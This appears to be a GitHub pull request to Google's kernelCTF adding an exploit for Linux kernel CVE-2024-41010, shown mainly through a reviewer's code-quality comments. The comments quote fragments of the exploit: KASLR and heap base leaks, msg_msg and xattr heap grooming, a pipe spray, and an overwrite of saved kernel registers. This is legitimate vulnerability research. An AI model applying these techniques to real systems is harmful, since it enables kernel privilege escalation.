kernelCTF: Add CVE-2024-41010_lts #126
Conversation
|
Thanks for your pull request! It looks like this may be your first contribution to a Google open source project. Before we can look at your pull request, you'll need to sign a Contributor License Agreement (CLA). View this failed invocation of the CLA check for more information. For the most up to date status, view the checks section at the bottom of the pull request. |
koczkatamas
force-pushed
the
master
branch
2 times, most recently
from
b2e2b9f to
43a5a81
Compare
koczkatamas
force-pushed
the
master
branch
3 times, most recently
from
933028d to
c111d81
Compare
koczkatamas
force-pushed
the
master
branch
13 times, most recently
from
76d6b57 to
bf0d68f
Compare
There was a problem hiding this comment.
Hey,
This is just a quick code quality review. We're planning to review the submissions more deeply (actually understanding what the exploit does) in two weeks.
In general, the code quality looks okay, sometimes it's not clear what's leaked or how calculations work. I've left a few comments.
We also have a draft style guide now. Please take a look and let us know if it's helpful for understanding our code quality expectations: https://google.github.io/security-research/kernelctf/style_guide.
Thanks for the submission and PR!
| int fname_idx; | ||
| } xattr_node_leak; | ||
|
|
||
| xattr_node_leak nodes[0x4000/(0x40/0x8)]; |
There was a problem hiding this comment.
Can you comment here what are you calculating here (is 0x40 a size of an object, which one, etc)?
You can also use #define <struct>_SIZE 0x40 to make the calculation easier to read.
See more details in our new (still draft) style guide.
| int nodes_cnt = 0, nodes_front = 0; | ||
| for(int i=0; i < 0x4000/(0x40/0x8); i+=0x40/0x8) | ||
| { | ||
| if(leaks[0x17 + i] == 0x59 && leaks[0x14 + i] && leaks[0x15 + i] && leaks[0x16 + i] && leaks[0x18 + i]) |
There was a problem hiding this comment.
Comment here what are you checking and which objects which fields are you reading here with 0x17 or where this comes from?
See more details in our new (still draft) style guide.
|
|
||
| uint64_t vmemmap_base = (read_msgmsg_for_leak_vmemmap_base(0x300) >> 28) << 28; | ||
| uint64_t kheap_base = (((((uint64_t)nodes[nodes_front].xattr.rb_node.rb_right - 0x6000000) >> 28) - 0x10) << 28); | ||
| uint64_t longjump_victim_address = kbase + 0x2c51a40; |
There was a problem hiding this comment.
Although it's in the writeup, but please comment here that this is the address of the saved_rbp (and other) registers. You can also use #define for this address (as it changes per target, rationale for this is here in our style guide).
| { | ||
| char *buf = read_msg_msgseg(spray_qids[i], MTYPE_PRIMARY, MSG_MSGSEG_KMALLOC_CG_64); | ||
|
|
||
| if( (((uint64_t *)(buf))[4] >> 48) == 0xffff) |
There was a problem hiding this comment.
Please comment here what you are leaking from (buf)[4] exactly (which kernel symbol or which field of which object).
| goto retry_1bit_off; | ||
| } | ||
|
|
||
| struct pipeio *pipes[0x1f8]; |
There was a problem hiding this comment.
Comment here why did you choose to create exactly 0x1f8 pipes. Is it because of some limitation or making sure you are draining all freelists or ...?
| activate_ops(pipes[i]); | ||
|
|
||
| uint64_t vmemmap_base = (read_msgmsg_for_leak_vmemmap_base(0x300) >> 28) << 28; | ||
| uint64_t kheap_base = (((((uint64_t)nodes[nodes_front].xattr.rb_node.rb_right - 0x6000000) >> 28) - 0x10) << 28); |
There was a problem hiding this comment.
Comment here please what you are leaking here, and how the calculation works. What value does xattr.rb_node.rb_right contain at this point? Just a random heap pointer? Why do you need the -0x10 part?
| printf("[+] target: 0x%llx\n", nodes[nodes_front].xattr.name); | ||
|
|
||
| for(int i=0; i<0x1f8; i++) | ||
| write_pipe(pipes[i], ((char *)&longjump - (longjump_victim_address&0xfff)), |
There was a problem hiding this comment.
Mention in a comment that because we have to write the whole page, and we cannot just write the longjump_victim_address, that's why this calculation is happening. Also it may worth mentioning that you are writing random, somewhat uncontrolled memory from your exploit's stack (the memory before longjump until the beginning of the page) to the kernel and why it does not cause any issues or crashes.
| write(pip1[1], "step 3", 4); | ||
|
|
||
| /* ---------------------- heap oob read ---------------------------------- */ | ||
| printf("[*] waiting for exit...\n"); |
There was a problem hiding this comment.
Comment here what are you waiting for exactly (which kernel function to be run). More details about this is in the style guide.
| write(pip1[1], "step 3", 4); | ||
|
|
||
| /* ---------------------- heap oob read ---------------------------------- */ | ||
| printf("[*] waiting for exit...\n"); |
There was a problem hiding this comment.
Comment here what are you waiting for exactly (which kernel function to be run). More details about this is in the style guide.
| break; | ||
| if((leaks[i] & 0xffffffff80000000) == 0xffffffff80000000 && (leaks[i] & 0xffffffffffff0000) != 0xffffffffffff0000) | ||
| { | ||
| kbase = (((leaks[i] >> 24) - 1) << 24); // memory_stats+352 |
There was a problem hiding this comment.
Why the leaks contain memory_stats+352, do we know?
Maybe comment here that the calculation is based on that memory_stats assumed to be at the base address of 0xffffffff82xxxxx (in the case of this specific exploit 0xffffffff82c497c0) and you are calculating the kbase that its base address is 0xffffffff81000000, so this calculation do the 0xffffffff82c497c0 -> 0xffffffff81000000 shift.
No description provided.